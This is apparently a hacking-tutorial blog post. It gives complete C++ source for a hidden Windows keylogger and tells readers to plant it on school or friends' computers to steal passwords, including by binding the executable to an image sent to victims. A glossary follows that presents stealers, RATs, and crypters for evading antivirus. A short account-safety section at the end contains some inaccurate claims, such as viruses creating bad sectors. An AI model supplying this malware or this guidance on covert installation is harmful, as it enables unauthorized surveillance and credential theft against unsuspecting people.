Keylogger using C++

Today i am going to introduce to the C++ Spyware code.   It is going to be very fun.  You can install this spyware in your college/school  or in your friend system, and get their username and passwords.  This is very simple hacking trick when compared to phishing web page.

Disadvantage of Phishing Web page:
you have to upload phishing web page to web hosting.  But only few website won’t detect the phishing webpage.
website url is different. Easy to detect that we are hacking.

Advantage of Spyware-keylogger:
Very simple and easy method.
Victim can’t detect that we are hacking.

How to create Keylogger using Visual C++?
Requirements:
Dev C++.  Download it from here: http://www.bloodshed.net/
Knowledge about Visual C++(need, if you are going to develop the code).

Install dev C++ in your system and open the dev C++ compiler.
Go to File->New->Source File.
you can see a blank works space will be there in window.
now copy the below keylogger code into the blank work space.

#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();

int main()
{
Stealth();
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,”LOG.txt”);
}
}
system (“PAUSE”);
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, “a+”);

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, “%s”, “[BACKSPACE]”);
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, “%s”, “\n”);
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, “%s”, ” “);
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, “%s”, “[TAB]”);
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, “%s”, “[SHIFT]”);
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, “%s”, “[CONTROL]”);
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, “%s”, “[ESCAPE]”);
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, “%s”, “[END]”);
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, “%s”, “[HOME]”);
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, “%s”, “[LEFT]”);
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, “%s”, “[UP]”);
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, “%s”, “[RIGHT]”);
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, “%s”, “[DOWN]”);
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, “%s”, “.”);
else
fprintf(OUTPUT_FILE, “%s”, &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/* *********************************** */

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA(“ConsoleWindowClass”, NULL);
ShowWindow(Stealth,0);
}

Compile the Code(Ctrl+F9)

Now execute the program by selecting Execute->Run(ctrl+F10)

now your keylogger will run in your system. whatever you type using keyboard. It will be stored in Log.txt file.
you can see the log.txt file where you save the file.

bind the exe file with image or any files and send it to your friend.
(0r)
if you have physical access to your college/school system,then copy the exe file in that system and run it.

Guide to Hacking

Q: What is hacking?

Hacking is unauthorized use of computer and network resources. This is normally done through the use of a ‘backdoor’ program installed on your machine. However, most people understand a hacker to be what is more accurately known as a ‘cracker’.The terms “hack” are also used to refer to a modification of a program or device to give the user access to features that were otherwise unavailable, such as DIY circuit bending. It is from this usage that the term “hacking” is often incorrectly used to refer to more nefarious criminal uses such as identity theft, credit card fraud or other actions categorized as computer crime.

Q: What is cracking?

Password cracking is the process of recovering passwords from data that has been stored in or transmitted by a computer system.A lot of crackers also try to gain access to resources through the use of password cracking software, which tries billions of passwords to find the correct one for accessing a computer.On a file-by file basis, password cracking is utilized to gain access to digital evidence for which a judge has allowed access but the particular file’s access is restricted.

Q: What is a virus/trojan/malicious script file?

A virus is a program or programming code that replicates by being copied or initiating its copying to another program, computer boot sector or document.Trojan executes on your computer, the attacker, i.e. the person running the server, has a high level of control over your computer, which can lead to destructive effects depending on the attacker’s purpose.

Q: What is a stealer?

A stealer is a software designed to create viruses. This virus is called as a server. You send the server to the victim and if they open it all their passes (according to how the stealer is built) will be sent to you via email, or ftp or a php webhost.

Q: What is a RAT?

A Rat is a software created that created similar servers (virus). If the victim opens it they will be your RAT. You can have a complete access to their system. There are hundereds of features.
RAT – Remote Administration Tool.

Q: What is a keylogger?

A keylogger is a software designed to create servers. You send the server to the victim and if they open it all their keystrokes would be sent you via email, ftp, php webhost etc.

Q: What is BOT?

A bot is a malicious program which has several purposes.
They are usually told what to do by a botnet admin although many of the features now are automated.

Q: What is a BOTNET?

A botnet is a network of infected computers that all connect to one area where they are commanded by the botnet admin.

Q: What is a crypter?

All your servers that you create of a keylogger, stealer, RATs etc. are detected by antivirus. So inorder to make it FUD (Fully UnDetectable) we use a crypter and crypt your infected server.

Q: How does a crypter work?

A crypter has a built in or external file called stub. This stub is based on common encryptions like rc4, xor, tweafish, blowfish etc. When you crypt your infected file the crypter embeds the stub onto your server and covers the server. Just like how you paint your rusted metals. And makes it undetectable from anti-virus.

Q: What is reverting?

Reverting is a technique used to obtain forgotten passwords. But a hacker uses this method to access the victims account.

Q: What is social engineering?

It is a psychological approach, where you manipulate people into performing actions or divulging confidential information, rather than by breaking in or using technical hacking techniques.

Q: What is DDos?

The core design intention behind Denial of Service (DoS) Attack Trojan is to produce a lot of internet traffic on the victim’s computer or server, to the point that the Internet connection becomes too congested to let anyone visit a website or download something. An additional variation of DoS Trojan is the Mail-Bomb Trojan, whose key plan is to infect as many computers as possible, concurrently attacking numerous email addresses with haphazard subjects and contents that cannot be filtered.

Q: Who can be hacker ?

“Little bit” of knowledge and “no” commonsense.

Prevent ur Account from Hackers

Here I will be discussing how u can protect ur account’s from Hackers or for the right word Crackers.

1. Beware of Phishing :-

Phishing is one of the most widely used and simplest ways of gaining access to one’s account thru hacking.Phishers are pages which are uploaded into hosting sites and then given away to victims….

In appearance the phisher looks exactly as ur common login page.

For eg :-taking into consideration an orkut account and u received a link by someone asking u to click on that link.

Now when u click on that link , it takes u to a new page that looks like ur orkut account login page.

Don’t be fooled by that , now most of the people will without a second thought enter their username and passcode and press enter.But u will not be logged into ur account.It is a phisher , ur login info will be sent to the person who sent u the link.

So no matter who and however trusty that person is do not login on any other page except.

Or else ur account might be on the verge of getting hacked……

PHISHING DONE IN ANOTHER WAY

MANY TIMES .. PHISHERS WILL SEND U A MAIL IN UR EMAIL ID .. WITH THE ID — GMAILPASSWORDRECOVERE .. ET ETC .. AND TELLING U TO VERIFY UR ACCOUNT OR ELSE UR ACCOUNT WILL BE DELETED .

DON’T EVER LOGIN AT ANY PAGE OTHER THAN THE ORIGINAL WEBSITE

2. Keep a strong password :-

Always have a passcode with many characters , minimum 6 characters having a combination of small and big letters and number and special characters like “$”.Then there are very minimal chances that ur passcode will be hacked…..

3. Keyloggers :-

Many times u make online friends that u do not know personally.Then after many chats the person tells u he created a game and wanted u to see it and give a review.U gladly accept it, the game might actually be a keylogger.Keyloggers have become very common nowadays.Now when u double click on the keylogger it gets activated.The next time u login into any page ur username and passocode will be sent to the other guy…..

So do not accept such things from people u do not trust very much…….

4. Keeping ur antivirus up-to-date :-

Many people believe that antiviruses do nothing and hence they do not install them , and think that if a virus infects their PC then they will format the PC.But this is wrong , whenever a virus enters ur PC then there is a very strong possibility that a bad sector is created in ur PC.Antiviruses thus protect ur PC….